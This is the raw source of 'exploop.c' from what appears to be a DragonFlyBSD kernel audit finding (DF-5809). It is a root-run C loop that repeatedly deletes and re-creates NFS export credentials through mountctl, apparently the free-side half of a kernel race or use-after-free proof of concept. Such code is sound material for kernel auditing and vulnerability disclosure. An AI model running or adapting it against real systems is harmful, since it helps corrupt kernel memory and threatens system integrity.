⬢ DragonFlyBSD Kernel Audit
DF-5809 / exploop.c
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
/*
 * DF-5809 free-side driver: root loop alternating export markers via
 * mountctl(MOUNTCTL_SET_EXPORT) on /mnt/r (tmpfs).  Each iteration
 * performs DELEXPORT (frees all heap netcreds) + re-EXPORT with a
 * distinct ex_flags marker (fresh netcred, new exflags).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <netinet/in.h>

#ifndef SYS_mountctl
#define SYS_mountctl 468
#endif
#define MOUNTCTL_SET_EXPORT_OP 16

#ifndef MNT_DELEXPORT
#define MNT_DELEXPORT 0x00020000
#endif

int main(int argc, char **argv)
{
	const char *path = argc > 1 ? argv[1] : "/mnt/r";
	int secs = argc > 2 ? atoi(argv[2]) : 5;
	struct sockaddr_in sin;
	struct export_args ea;
	long ret;
	time_t t0 = time(NULL);
	int flip = 0, n = 0, e = 0;

	memset(&sin, 0, sizeof(sin));
	sin.sin_len = sizeof(sin);
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl(0x7f000001);

	while ((int)(time(NULL) - t0) < secs) {
		memset(&ea, 0, sizeof(ea));
		ea.ex_flags = MNT_DELEXPORT | MNT_EXPORTED |
			      (flip ? 0x08000000u : 0x04000000u);
		ea.ex_anon.cr_uid = flip ? 31337 : 65534;
		ea.ex_addr = (struct sockaddr *)&sin;
		ea.ex_addrlen = sizeof(sin);
		flip = !flip;
		ret = syscall(SYS_mountctl, path, MOUNTCTL_SET_EXPORT_OP, -1,
			      &ea, sizeof(ea), NULL, 0, NULL);
		if (ret < 0) {
			e++;
			if (e < 5)
				fprintf(stderr, "mountctl: %s\n",
					strerror(errno));
		} else {
			n++;
		}
	}
	fprintf(stderr, "export loop done: ok=%d err=%d\n", n, e);
	return 0;
}